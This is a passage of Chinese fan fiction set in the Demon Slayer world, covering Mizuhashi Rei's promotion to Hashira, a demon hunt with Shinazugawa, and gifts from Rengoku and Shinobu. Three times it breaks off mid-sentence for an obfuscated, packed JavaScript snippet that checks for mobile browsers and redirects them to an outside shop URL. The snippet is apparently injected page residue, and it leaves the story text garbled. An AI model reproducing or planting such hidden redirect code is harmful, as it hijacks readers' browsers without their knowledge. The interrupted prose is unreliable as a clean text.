“是怜衣小姐告诉我的。” 炎柱大人带着爽朗的笑容,一口气喝干了碗里的汤。 “她第一次找我切磋输给我的时候,一边哭一边骂了我很多话呢,里面就有一条是‘仗着自己有天分就瞧不起我吗’‘有天分就了不起吗’‘我知道我没有天分不用你告诉我’——她骂了三遍,大概是非常在意这一点吧!” 村田:“………………………………” 不是、你对别人的师姐都做了什么啊啊啊啊啊?!!!! 13.第十三章 【四十一】 该来的终究会来。 柱合会议也是一样。 【四十二】 但是在那之前,主公先单独召见了水桥怜衣。 “不必惶恐。” 当水桥怜衣将整个身体都跪伏在地上,将整个额头都贴在榻榻米上时,鬼杀队的主公,产屋敷耀哉温和的声音在她的头顶响起。 “请把头抬起来吧,怜衣。”他的声音里有某种让人信服的东西,带着些许柔和的笑意,“虽然很想将你也称呼为‘我的孩子’,但是,如果这样称呼你的话,你会很痛苦吧。” 水桥怜衣这才发觉,自己不知何时已经在微微地发抖了。冷汗从皮肤里渗透出来,浸透了内衫。连呼吸都被压到了最细微处,细微到她自己都无法听清。 咦?为什么? 我在害怕?在发抖?为什么? “不必担忧。”一方柔软的手帕轻轻压上了她的额角,温柔地拭去了她鬓边的汗意,“我不会成为你的‘父亲’,也不会以此自居。这一次请你来,也不是要对你发布什么命令。” 不可思议的是,在这样的话语里,水桥怜衣渐渐地不再发抖了。 不明原因的冷汗停止了,心跳和呼吸也恢复了正常。水桥怜衣深深地吸了口气,看着满脸病容,只有一只眼睛还完好的青年,就算这样还是支撑着病体为她拭去了汗水的主公大人,忽然感到了一阵惭愧涌上心头。 “失礼了。”她又一次低下了头,“我很抱歉。” 居然在某一个瞬间,将这个男人和【父亲】重叠在了一起。 “那不是你的错,怜衣。”主公大人的声音带着温和的怜悯,“请把头抬起来吧。你是为鬼杀队做出了不可磨灭贡献的剑士,我请你来,不是为了让我所尊敬的剑士像这样一再地对我弓腰道歉的。” “……我很抱歉。” 水桥怜衣最后一次致歉,而后直起身来,抬起了头。 产屋敷耀哉遍布瘢痕的面上浮现出一抹微笑,意外的,并不显得恐怖。仅有一只完好的眼睛注视着她,目光温和而爱怜。 她好像在什么地方见过这样的眼睛…… 对了。 两年前,自己几乎在那个上弦之鬼的手里死去、在蝶屋救治的时候,有那么几次,在濒死的模糊意识中,就看到了这样一双眼睛。 那个时候那双眼睛还是完好的,温和地注视着她。那个人,一直一直握着她的手。就像是要从死亡手中守护着她一样,一直握着她的手。 “一直以来都辛苦你了。”那个人这样对她说,“看到你依然活着,再没有比这更让我高兴的事了。怜衣。” 她想起来了。 花柱大人曾经说过,主公大人总是会去探望那些濒死的剑士,一直陪伴在他们身边。 原来,他也曾经这样陪伴过她吗? 水桥怜衣微微低下头,片刻之后,她才很轻很轻地说了一声“谢谢”。 有人这样希望着她活下来……无论如何,这都是一件值得感谢的事。 要是炼狱杏寿郎没有那么烦人的话……她也会好好对他说“谢谢”的。大概。 “我今天请你来,是想向你确认,你是否愿意接下‘柱’的职位呢?” 主公大人温和地问出了一个她意想不到的问题。 “咦?” 水桥怜衣抬起脸来,发出一个短促的音。 主公大人微笑起来。 “会问出这个问题,并不是因为我质疑你的能力。”他和声细语道,“虽然怜衣很喜欢贬低自己,也对自己的能力评价很低……但你比你以为的要坚强、强大、也善良得多。你是一个很了不起的剑士,不管是内心,还是实力,都是如此。把‘柱’的职位交给你,我没有什么可不放心的。我完全相信怜衣可以完成任务,成为鬼杀队新的支柱。” 水桥怜衣整个人都不知所措起来。 感觉……头脑里变得轻飘飘的…… “我只是想先问问你。”主公大人的声音依然很柔和,“你愿意成为鬼杀队的‘柱’吗?” 他像是在对孩子解释一般,细致地补充着自己的话语。 “我是问——你自己的想法。” 自己的……想法? “怜衣并不擅长与人交际,对吧?”就像是看穿了她的本质那样,那双温和的眼睛微微弯起来,“虽然现任的‘柱’里也有同样不善交际的孩子,但我想要尊重怜衣自己的想法。你很出色地完成了任务,完美地达到了‘柱’的标准——但是‘柱’的任命并不是强制的,如果感到太过为难的话,怜衣也可以拒绝。我会尊重你的想法,大家也是。” 主公大人端坐在那里,温和而慈爱地注视着水桥怜衣。 “那么,你是怎么想的呢,怜衣?” 【四十三】 “愿为主公大人效死。” 水桥怜衣将额头抵在竹席上,诚心诚意道。 【四十四】 一直到柱合会议开始,水桥怜衣都还呆呆地跪坐在地上。 答应了…… 答应了…… 她居然答应了啊啊啊啊啊!!! 而且“愿为主公大人效死”是什么羞耻的台词!她是和炼狱杏寿郎看能剧看多了吗?!这是她这样的人可以说的话吗??? 天啊好想找个地洞钻进去……不如现在就钻进去吧,枯山水的石子缝隙里应该能藏得下一个人的吧! 不!一定藏得下!只要她足够努力—— “哟!怜衣!”炼狱杏寿郎从后面用力拍了拍她的背,“你果然提前来了!太好了!今后也和大家好好相处吧!” “炼狱。”她一把抓住了他的手臂,用力掐紧,“关于我师父突然写信过来骂我,和我那笨蛋师弟这几天总是绕着我转来转去还莫名其妙对我道歉……这两件事,你有什么头绪吗?” 她拧着他手臂的那只手上青筋暴起。 “你、有、什、么、要、向、我、解、释、的、吗?” “嗯,看来和村田好好聊一下还是很有效果啊!”炼狱就像是完全感觉不到痛一样,露出了开朗的笑容,“既然是同门的师姐弟,还有抚养你长大的师父,还是应该好好聊一下才对吧?” 水桥怜衣咬牙:“……果然是你。” 她就知道!这么无聊的家伙除了炼狱杏寿郎不会有第二个了!不会有了! “你的师父和师弟都很关心你,好好相处吧。” 炼狱杏寿郎抬起手来摸了一下她的头发,对她微笑道。 水桥怜衣毫不客气地打开了他的手。 “多管闲事。”她别开了视线。 “喂喂,这可不是给你们打情骂俏的地方。” 一个充满不快的声音从他们背后响起来,水桥怜衣回头看去,只见一个满脸伤疤的白发男人正朝这边走过来,就连敞开的胸口上也布满了伤疤。他正拧着眉头,眼神凶恶地瞪着炼狱杏寿郎。 “我说你小子,不要在柱合会议的时候做这种事啊。” 他又瞪了水桥怜衣一眼:“还有你,别跟他胡闹!” “不死川先生,可以不要把无关的人牵扯进来吗?” 蝴蝶忍微笑着扶住了自己的佩刀,看向白发的暴躁男人。 “要是对炼狱先生有意见,还请私下切磋。这里还有女孩子在呢,稍微体谅一下她的心情吧?” 被称为不死川的男人很大声地咋了下舌,但也没有反驳,只是脸色越发不快地撞了一下炼狱,说了一声“不好意思”就走到了自己的位置上。蝴蝶忍走到水桥怜衣这边,微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868253|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着扶了她的肩膀一下。 “恭喜你也要成为柱了,水桥。”她真心实意地说,“接下来就让我们好好相处吧?” 水桥怜衣微微垂下脸,无声地点了点头。 “听说你相当华丽地击败了十二鬼月嘛?” 高大的男子无声无息地出现在了她的身侧,水桥怜衣一抬头就能看到对方夸张的红色眼妆和宝石头饰,把指甲涂得异常花哨的男人抬起手,用力拍了一下她的脑袋。 “真不错!明明年纪看起来这么小!干的事情却相当华丽啊!” 水桥怜衣觉得自己的额角有青筋跳了一跳。 “宇髓先生,水桥和你同龄哦。”蝴蝶忍笑眯眯道。 宇髓天元本来就很大的眼睛顿时睁得更大了:“真的假的?!她看起来才十五六岁啊!” “怜衣小姐只是看起来比较小!第一次见面的时候我也被骗了!”炼狱杏寿郎在一旁笑起来,“不过怜衣小姐这几年其实长高了不少,是她太瘦了所以看起来很有欺骗性吧!” “真是可悲的孩子……” 比刚才那个男人还要高大的僧侣合掌,念珠摩挲间落下泪来。 “过去一定受过很多苦吧……” 水桥怜衣的眉梢微微跳了一跳。 一个穿着双色羽织的黑发男人无声路过他们,一语不发地走到角落站定。 “给你介绍一下好了。”蝴蝶忍微笑着指了一下那几个人,“炎柱、炼狱先生就不说了,你们很熟悉了。那几位分别是风柱·不死川实弥先生,音柱·宇髓天元先生,岩柱·悲鸣屿行冥先生,还有水柱·富冈义勇先生。” 水桥怜衣再度点了点头。 要说的话,水柱她还是知道的。作为水之呼吸的剑士,师弟曾经非常激动地和她说过这个人,还远远指给她看过。所以她还是有一些印象。据说他们两个是同一期参加最终选拔的人……这么一想师弟还是有点太不成器了。 水桥怜衣拧着眉头想,回去还是给那家伙加训吧。 “而这一位呢——”蝴蝶忍指了一下她,对着其他几位柱笑道,“是姐姐之前收的继子,现在将要成为我们一员的水桥怜衣。使用的是怨之呼吸,是水之呼吸的衍生呢,富冈先生。” 富冈义勇抬起眼来,朝这边看了一眼,随即又收回了视线。 蝴蝶忍:“……” 水桥怜衣:“……” 那一眼到底是什么意思啊,这个家伙。 “怨之呼吸?”音柱·宇髓天元看了过来,“没听过的呼吸法啊——是你自创的吗?” “是的,怜衣小姐十几岁时就自创了一门呼吸法,非常了不起!” 炼狱杏寿郎大声说,仿佛是自己的事情一样骄傲着。 “嚯~”音柱的尾音微微上扬,声音里多了点戏谑,“你很了解嘛,炼狱。” “因为我和怜衣小姐是同期。”炼狱杏寿郎的声音没有一丝阴霾,“我们一起执行过很多任务,怜衣小姐是非常值得信赖的同伴,大家今后一定会认识到这一点的!” “不要这么大声音。”风柱·不死川实弥捂了一下耳朵,露出了露骨的不快之色,“都说了柱合会议不是给你干这种事的地方,还有,你这家伙不要把别人的事说得像自己的事情一样,脑袋没问题吗?” “完全没有!”炼狱杏寿郎笑了起来,“不死川和怜衣小姐只是不够熟悉,等到你们熟悉起来一定会认为对方都是很不错的家伙的!” 不死川实弥:“……” 水桥怜衣:“……” 他俩同时向对方看了一眼。 确认过眼神,都是想给炼狱杏寿郎一拳的人。 悲鸣屿行冥一合掌。巨大的震慑力同时让场内安静了下来。 “主公大人到了。”他说。 14.第十四章 【四十五】 “主公大人驾临——” 伴随着女童清澈的呼声,在场的柱同时单膝跪地行礼。 不死川实弥清楚看到,那个新来的女人也做了同样的动作。据说是前花柱继子的女人低下头,乌黑的长发蜿蜒及地,随着她的动作垂下的刘海,露出了其下划过左眼的陈旧爪痕。那伤疤看起来已经相当有年份了,是鬼留下的吗? 不过……香奈惠的继子吗? 还真是,和她完全没有一点相像的地方啊。 这样的念头只是一闪而过,不死川实弥迅速收回心神,将全部注意力都放在即将到来的主公大人身上。 但这一分神也让他错过了向主公大人问候的机会,只听到蝴蝶忍清丽的声音在庭院中响起。 “久疏问候,主公大人。看到您身体康健实在是太好了。希望您今后也能保重身体,诸事顺意。” 啧,都怪炼狱。 不死川实弥暗暗在心里记了炼狱杏寿郎一笔,不用抬头他都知道那个人此刻一定也摆着那副没事人一样的脸——这家伙就是这种地方让人讨厌! “多谢,忍。” 主公大人微微地笑着,在身边女童的扶持下坐了下来,望着在场的剑士。 “很高兴看到各位都安然无恙,还增加了新的面孔。我想应该有一些消息灵通的孩子已经听闻了吧?又有一位队士战胜了十二鬼月的下弦,并且,她还成功完成了斩杀五十只鬼的任务,我很高兴她愿意成为我们之中的一员。” 主公大人抬起手来,介绍了一下那位身披黑底红梅羽织的年轻女性。 “水桥怜衣,怨之呼吸法的使用者,即将成为鬼杀队新的支柱。希望大家能够接纳这位新的同伴,与她和睦相处,可以吗?” 没有人能够拒绝主公大人的话语,更何况…… “还没有遇到能够同时完成这两项的人呢,超华丽的啊。”宇髓天元笑了起来,“我没有意见,主公大人。” “既然她已经证明了自己的实力……”不死川实弥平静道,“我也没有意见。” “能够有新的血液加入,是非常好的事……”悲鸣屿行冥合掌道,“我深感欣慰,主公大人。” “我也认为水桥可以履行好‘柱’的职责。”蝴蝶忍微笑道,“她是非常优秀的剑士,在杀鬼方面也有着坚定的决心。” 炼狱杏寿郎……炼狱杏寿郎这次倒是没有说话。但不死川实弥猜他应该是之前搭着那个水桥的时候已经把该说的话都说完了。一抬头,果不其然那家伙正昂首挺胸,一脸与有荣焉的笑意——恶心死了! 而富冈义勇…… “……” 富冈义勇还是跪坐在那里,一脸死样。就算是主公大人的提问,他还是那副和自己毫无关系的样子。 ——装模作样! 真是、最烦装X的人! 不死川实弥火从心头起,别开脸来不再看那边让人火大的人。 而话题的中心人物,只是默默低下头,毕恭毕敬地行了一个大礼。 “必将不负主公所托。” 她只这样说。 【四十六】 坏了,炼狱好像说中了。 他真的开始觉得水桥怜衣是个不错的家伙了。 【四十七】 鬼杀队新上任的怨柱的确是个相当不错的人。 仅仅是合作过一次任务,不死川实弥就对这个女人改观了。 虽然看起来相当阴沉,但话少有时候也是优点。一起行动的时候安静到就像不存在(虽然他有时候也被突然如女鬼般无声无息冒出来的同伴吓到了),从不发表多余的意见,这让虽然很欣赏炼狱杏寿郎的性格但也不免觉得他实在太吵的不死川实弥深感欣慰。 要说欣慰的原因——这个人是炼狱杏寿郎的同期,还是他口中的好友,她居然是个安静又不喜欢说话的性格,这简直就是奇迹好吧。 更何况不死川实弥和水桥怜衣在杀鬼这方面不只是意见统一,甚至可以说相当合拍。 那次他们要找的鬼相当会躲藏,又有着麻烦的血鬼术,在他们来之前已经出现了二十多个失踪者,其中甚至有低阶的队员,为了不增加新的牺牲者,不死川实弥啧了一声,干脆地割开了手臂,用自己的稀血去引诱鬼。 一般来说他这么干的时候,跟着的队员要么大惊小怪在一边惨叫,要么就是一脸为难劝他不要再这么干了。水桥怜衣却是一脸平静,好像完全不觉得这样有什么不好。 而且,最后也是她第一个发现了鬼,并且第一个冲了上去。速度相当惊人,感知的敏锐程度甚至在他之上。 而水桥怜衣的战斗风格嘛…… 不死川实弥只能说,或许其他的柱可能会有看不惯的,但他只觉得相当对他的胃口。 在几乎被剁成了碎片的恶鬼面前,浑身浴血的女人正拿着一个本子,对着被切割成上百块钉在地上的男鬼记录着什么。 “这是什么?”不死川从旁边看了一眼,没忍住问了一句。 “鬼的身体结构。”她平静道,“有血鬼术的鬼不太容易遇到,我在研究它的血鬼术原理、血鬼术作用于身体的地方、以及它身体有什么变化、从什么地方下刀更容易让它失去行动力……还有一些别的东西。” “砍掉头不就行了?还整这么多做什么?” 不死川实弥虽然这么问,但语气还是很轻松的。他将日轮刀架在肩膀上,从上方审视着地上垂死的鬼。 “给……给我一个痛快……” 食人的恶鬼用被撕成两半的嘴,流着泪喃喃哀求。 不死川实弥只是嗤笑一声,抬起刀就把它的舌头和半截下巴一起串到了地上。 “痛快?”他扯起来恶劣的笑容,“喂喂喂,我没听错吧?都吃了这么多人了,你现在求我们给你一个痛快?” 他用青筋暴起的手拧了一下刀柄,在恶鬼的惨叫中狠狠将剑身压得更深。 “给我在后悔莫及的痛苦中下地狱吧,垃圾。” 水桥怜衣只是默默记录着什么,不时还用她带的小一点的刀割开鬼的身体,翻检着筋膜还有经络。 “你在找什么?”不死川实弥干脆地问。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872652|191728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比较好下手的关节。这个鬼的等级应该比较高,虽然不到十二鬼月的程度,但是对自身的强化也比较厉害了。”她把关节切开给他看,“你看,这里的关节也被硬化过了,没那么容易切断。如果是下级的队士,搞不好会被他的骨头崩断剑身,所以要找一些比较好切入的地方——就像这样。” 在男鬼凄厉的惨叫声中,不死川实弥拧起了眉头。 “你研究这个有什么用?”从来都是力大砖飞的风柱大人道,“砍这些关节杀不掉鬼吧?鬼能再生的,再生还很快。还是要砍脖子啊,脖子。” “但是能让鬼失去行动力,增加队员的生还率。” 她抬手示意了一下地上的肉块。 “不同的地方,再生的速度是不一样的。而且有的时候,只是几秒的间隔,也可以左右战局了。” 她合上本子,举起自己的日轮刀,只是一刀就干脆利落地切断了鬼的脖子。 “我认为还是要对鬼的身体认知得再清楚一点比较好。鬼杀队里不是每个队士都很强的,多了解一点也能让他们攻击时候成功率更高一些。” 水桥怜衣把本子放回自己的衣袖里。 “同样的资料我也会提供给忍小姐,不死川先生如果遇到什么特别样本也可以和忍小姐说一下。” 她垂下眼帘,让绿色的眼睛隐没在阴影之后。 “能多活下来一些人,多杀一些鬼,总归是好的。” 不死川实弥点了点头,说了一句“知道了”,两个人就不再说话了。 直到任务结束,两人在鎹鸦的指引下各自奔赴不同的目的地,他们都没有再说什么话。 不过,不死川实弥认为,炼狱杏寿郎说得很对。 水桥怜衣,的确是一个相当不错的家伙。 而下一次和炼狱杏寿郎见面的时候,不死川也这么对他说了。 “眼光不错,炼狱。” 他伸手拍了拍新任炎柱的肩,难得露出了一点笑意。 “是个相当帅气的家伙啊,那个水桥。” “唔姆!我就说你们两个熟悉起来一定会觉得对方很不错的!” 炼狱杏寿郎双手抱胸,那双金红色的眼睛看着前方,好像根本没有在跟他说话一样。 “因为不死川和怜衣小姐很像!” “哈?谁跟那个女人像了???” 不死川实弥猛地抬高了声音。 “你们两个都很喜欢战斗,都很热衷于杀鬼,连剑法的路数也很像,要不是知道怜衣小姐之前学的是水之呼吸,我还以为她和不死川你学过招式呢!” 炼狱居然当场细数了起来。 “啊,对了,你们两个都喜欢自残打法这一点也很像,怜衣小姐也非常习惯割伤自己放血出来杀鬼,在不珍惜自己身体这方面你们应该相当合得来。要多爱惜自己一点啊,不死川!” 不死川实弥脸上连着跳起好几根青筋,他抬起腿来,用尽全力从后面踹了炼狱杏寿郎一脚。 “你还是去死吧,白痴。” 他恨恨地说。 这人的脑子已经没救了。 15.第十五章 【四十八】 升上柱以后,水桥怜衣收到了很多礼物。 首先送来的是主公赠送的宅子——是的,水桥怜衣还是升上柱以后才知道,柱都有自己的宅子,还是主公亲自选址安排的。 “今后这片辖区都要拜托你了,还请多多保重身体,好好休息。” 在看到和房契一起被鎹鸦送来的书信时,水桥怜衣深深地低下头,把信件按在心口,就像是主公就在她的面前那样,轻声说了一声“是”。 乔迁新居就等于有了固定的据点,上门拜访的客人也就变多了。 之后第一个上门来送礼物的果不其然是炼狱杏寿郎,水桥怜衣打开家门看到一大只金红猫头鹰的时候甚至有种“终于来了”的感觉,她都懒得问对方是怎么知道这新宅子的地址,反正以炼狱的好人缘,他总有自己的办法。 “进来吧。” 水桥怜衣今天没有穿鬼杀队的制服,而是穿了一件有点旧的和服,外面披着那件黑底红梅的羽织。她靠在门边打了个哈欠,懒懒地给炼狱杏寿郎让开路来。 “下午好,怜衣小姐。你是还在睡觉吗?” “那是当然的吧。”水桥怜衣把滑下的羽织往上拉了拉,在茶室的榻榻米上坐下,“我又不像你,一天到晚精力都那么旺盛。” 新分给她的辖区需要熟悉,这段时间她都在夜间巡逻,好记下地形和区域,再加上日常的斩鬼工作,睡眠什么的当然是完蛋了。 或许适应以后会变得轻松吧,但目前她还在适应。说到底,她毕竟和炼狱这种修炼炎之呼吸的家伙不一样,没有那么旺盛的热情,不像他连熬几个大夜都没事人一样,血压都不会往下低一下。 “确实,黑眼圈出来了啊,怜衣小姐。辛苦你了。” 炼狱杏寿郎一边说着,一边非常自然地开始在茶室里寻找茶叶和烧水的东西,水桥怜衣依旧坐在那里,没什么表情地看着他在屋子里走来走去。 她向来没有什么招待客人的概念,不如说,她可能都没有什么“主人”和“客人”的概念,让人进了屋以后就那么一坐,别说泡茶上点心,她可能都不知道茶水和点心是干什么的。 炼狱杏寿郎认识她这么久,自然也不会介意她这点失礼。他说着“太好了这边的格局也没怎么变”,从各种柜子里找出来了茶叶、茶具、烧水的壶和炉子,不多时就给她泡好了茶,和他不知道从哪里翻出来的茶点一起端了上来。 水桥怜衣看了放到跟前的茶杯和点心,好一会儿才慢慢挪了过来。 “这些……你是怎么找出来的?” 她实在是想不明白。 “这所宅子是主公所赠吧?”他笑了笑,“家具和日用品都是‘隐’事先准备好的,我只是觉得茶具什么的这里应该有,找了一下果然都有,真是太好了——唔姆,好吃!” 看着炼狱一口一个“好吃”,一个接一个往嘴里丢着茶点,水桥怜衣的肩膀也放松了一些。黑底红梅的羽织松松地拢住了她,像是某种鸟儿的翅膀,让她显得比实际上更小了一点。她从和服的衣袖下探出手来,双手捧起茶杯,慢慢吹散了升起的热气,小口小口地啜饮起来。 “你今天是来做什么的?”她没有看炼狱杏寿郎,让视线停留在茶水里自己的倒影上,“总不会只是为了过来看看我吧?” “唔姆!为什么不行呢?” 炼狱杏寿郎对她微笑,在水桥怜衣差点呛住、向他投来杀人般的视线时大笑起来,一边说着“抱歉抱歉”,一边解开了自己带过来的包袱,露出一个包装精美的礼盒。他把礼盒往她这边推了推,笑着说“这是给怜衣小姐的礼物”。 “之前不是说了吗?等怜衣小姐也升上柱,我会送你礼物!”炼狱杏寿郎坐直了身体,说道,“拆开看一下吧,怜衣小姐,如果不喜欢的话我再去换掉!” 水桥怜衣停顿了一下,这才伸手去拆开了盒子。 那个盒子有着相当精美的包装,一看就不是出自炼狱杏寿郎的手笔。纤细的缎带打出了花朵般的结,多亏先前甘露寺蜜璃送她的饰品礼盒为她积累了经验,水桥怜衣看了好一会儿,终于找出了该从什么地方解开这些缎带。 礼盒的盖子被打开了,她看到了一双黑色的、小牛皮制成的靴子。是外国传来的相当洋气的式样,有着相当方便行动的矮鞋跟,坚实而又柔韧的小牛皮在光线下微微的反着光,每一根线都纳得相当结实,可以想见就算是穿着一直奔波也不会散架。她张开自己的手掌在这双靴子上比了一下,毫不意外地发现也正好是她的尺码。 “……为什么送我这个?”她顿了一下,又说,“这个,应该很贵吧?” “柱的工资很高,所以这方面完全不用担心!”炼狱抱着双臂笑了起来,“至于为什么送你这个——之前有一次,你的草鞋不是在杀鬼的时候突然崩断了吗?害你狠狠摔了一跤。虽然没有让鬼跑掉,但是你的腿因此瘸了好几天吧?那时候我就在想,怜衣小姐会不会换一双鞋子会比较好一些呢?” 水桥怜衣怔了一下,慢慢垂下了脸。 “那么久以前的事情……你还记得啊……” 那已经是她加入鬼杀队第二年的事情了。在向雷之呼吸的剑士讨教之后,又结合了从炼狱杏寿郎那里看过的炎之呼吸的五之型“炎虎”,她终于开发出了自己呼吸法的四之型——“犬神”。 因为参考了雷之呼吸的爆发力和炎虎的高机动性,“犬神”的招式压力主要集中在腿脚,可以说是相当依赖双腿蹬地那一瞬间的爆发力。 然后,水桥怜衣就在第一次使用“犬神”的时候,因为用力过猛崩断了草履的纽带,导致出招的动作出现了差错,虽然成功砍掉了鬼的头,但是落地的时候被自己前冲的惯性和崩断的鞋子害了个够呛,差点没有因此摔断自己的腿。 在那之后她调整了“犬神”的用法,也换了更耐用的新鞋子,目前来说已经没有什么问题了——以她的工资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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水桥怜衣撑着榻榻米站起来,肩上的羽织因为她的动作开始下滑,她用手拢住,从刘海的缝隙里,居高临下地看了还坐在那里的炼狱杏寿郎一眼。 “我只是想好应该送你什么了。”她说。 那个时候,说好的明明是“互换”升柱的礼物——虽然她其实完全不想收,也完全不想给就是了。 但是,没有办法——谁让她一直以来,都最讨厌单方面从别人那里得到什么。 从很久很久以前,美花姐姐还活着的时候,就很讨厌这一点。 “在这里坐着,我去拿给你。” 她不再看炼狱杏寿郎,将两手收到衣袖里,转身离开了茶室。 ——我只能单方面地得到,却什么都无法回报……这一点。 ——真的是……最讨厌了。 16.第十六章 【四十九】 第二个上门送礼物的人是蝴蝶忍。 和送给甘露寺蜜璃的那些实用性很强的药膏不同,她送给水桥怜衣的是一大盒缎带。 “这个对你来说就是最实用的礼物。” 蝴蝶忍这么说着,笑眯眯地把水桥怜衣按在了镜子前面,从“隐”准备好的梳妆盒里拿出一柄木梳。 镜子里的水桥怜衣微微抬起头,露出了不明所以的神情。蝴蝶忍有点想叹气了——果然这家伙是不会明白的。 “你啊,老是这样可不行。”她用木梳把怜衣的头发梳起来,像时下的女学生们流行的半束发,稍微扎得高一点看起来会比较有精神,“年轻的队员们都很怕你呢,因为看起来太阴沉了。” 水桥怜衣的脸上一瞬间闪过了“这有什么不好”的神色,蝴蝶忍笑起来,从礼盒里拿出一条缎带,替她把头发固定好,还打了一个很漂亮的蝴蝶结。 “看,这样看起来就好多了吧?”她拍了拍她的肩,和她头靠着头,从镜子里对她微笑,“稍微可亲一点,后续沟通起来会更有效率哦?把自己的同伴吓到了就不好了,太过慌乱的队员会很难带的。” “……经验之谈?”水桥怜衣问。 “嗯嗯。”蝴蝶忍微笑着说,“从姐姐那里学来的经验之谈哦。” 像姐姐那样亲切,像姐姐那样温柔,像姐姐那样去理解他人,然后……像姐姐那样多笑一笑。 在姐姐死去之后的每一天,在成为柱之后遇到的每一个人,虫柱·蝴蝶忍都是那样做的。 “我……无法做到香奈惠大人那样。” 水桥怜衣这样说。 蝴蝶忍不由得笑了出来,她伸出手,像姐姐那样摸了摸水桥怜衣的头。 “小怜衣当然做不到啦,也没有人希望你那样做。”她说,“水桥只要做水桥自己就好了,在这个基础上,稍微亲切一点就行了——就从外观上开始。” 毕竟,她也实在是不想再听到年轻的队员大晚上在蝶屋里鬼叫着醒来,哆哆嗦嗦哭哭啼啼地拉着她说什么“梦里都是水桥大人提着刀在追杀我”“女鬼一样好可怕”“她披散着头发问我为什么不出刀的样子真的好恐怖啊啊啊啊啊”“是鬼是鬼水桥大人才是鬼呜哇哇哇哇”……之类的。 总之先给水桥把头发扎起来吧……把头发扎起来。 蝴蝶忍笑眯眯地为水桥怜衣调整了一下蝴蝶结的位置。 “小怜衣的底子本来就很好,稍微打扮一下就会很漂亮。” 她用木梳梳了两下水桥的刘海,为了遮挡左眼的疤痕,她总是把左边的刘海蓄到可以盖住眼睛的长度,蝴蝶忍想了想,拿起甘露寺之前送给水桥的发夹,在刘海的边缘轻轻别了一下。 “怎么样?看起来可爱多了吧?” 蝴蝶忍微笑着说。 而水桥怜衣只是呆呆地看着镜子里自己的模样。 片刻之后,她抬起手来,挡住了自己的双眼,只从指缝里看着镜子,看着镜子里自己的下半张脸。 “美花姐姐……”她喃喃,“好像……美花姐姐……” 【五十】 蝴蝶忍知道水桥怜衣有一个姐姐。 大了她两岁还是三岁,是一个和香奈惠姐姐有一点像的女孩子。 当然,这些事并不是水桥怜衣告诉她的,而是蝴蝶香奈惠从对方口中问出来的。也正是因为如此,对任何人来说都算得上孤僻怪异的水桥怜衣,才会对蝴蝶香奈惠格外依赖。 蝴蝶忍一开始很反感这一点。 不只是姐姐被当成别的什么人的替身,还有水桥怜衣依赖别人的方式——实在是太缠人了,不管到哪里都看得到,这一点实在是太烦人了。 但是鉴于对方失去了所有的亲人,蝴蝶忍也没有办法对她说什么重话,只是默默捏紧了拳头忍耐着,实在忍耐不下去的时候就抓住对方痛痛快快地骂上一顿。 水桥怜衣总是低着头不说话,弄得蝴蝶忍更加生气,骂得更狠,好多次都要香奈惠姐姐来打圆场。 再后来,香奈惠姐姐说要把对方收做继子的时候,蝴蝶忍更是激烈反对了。 “这样下去你肯定会被缠上的!姐姐就是太温柔了,肯定会被那种家伙缠上的!” “好啦好啦……”蝴蝶香奈惠那时候苦笑着举起双手,做了一个讨饶的表情,“别这么生气嘛小忍,姐姐还是更喜欢看你微笑的样子啦。” “……姐姐!” 蝴蝶忍脸红了一下,然后更生气了。 “不要岔开话题!我在跟你说那家伙的事!” “但是啊,小忍——”蝴蝶香奈惠看着妹妹的眼睛,认真地说,“至今为止,小怜衣有对我做过什么不好的事情吗?” “……” 没有。 而这就是最让蝴蝶忍生气的一点了。 水桥怜衣其实也没有做什么过分的事。她只是有空就会偷偷来看蝴蝶香奈惠罢了。把气息完全隐匿起来,只是偷偷地看着。向她搭话反而会吓跑,伸出手的话就会飞快地躲起来,被抓住的话就会有好长一段时间躲起来不肯现身……真是麻烦鬼里的麻烦鬼。 “小怜衣自己都不知道她为什么会做这样的事吧。”蝴蝶香奈惠露出有点无奈的微笑,“那孩子是很容易被困在过去里的类型呢。要是能交到更多的朋友就好了。” 那个时候,蝴蝶香奈惠握住了她的手。 “小忍可以多和小怜衣说说话吗?”姐姐对自己绽开花一样的微笑,“那孩子其实很亲近你呢,只有你和她说话的时候她才不会跑开——我有感觉,你们一定会成为很好的朋友的!” 【五十一】 她没有做到。 不管是和鬼好好相处,还是和水桥怜衣成为很好的朋友……姐姐的愿望,她一个都没有做到。 香奈惠姐姐死去之后,一切都改变了。 水桥怜衣消失了相当一段长的时间,蝴蝶忍只知道她在没日没夜、不眠不休地杀鬼。等到再在蝶屋见到对方的时候,少女的身体几乎都要被撕碎了——被鬼,还有她自己。 如果不是水桥怜衣的血里有某种特别的成分,如果不是她的恢复能力特别强大的话……她一定无法活下来。 而蝴蝶忍从看到最爱的姐姐的尸体的那一刻起,就下定了决心。 无论付出什么代价,她都要杀死那只杀害了香奈惠姐姐的鬼。 就算要赔上这条性命,就算要失去自己的一切,她也在所不惜。 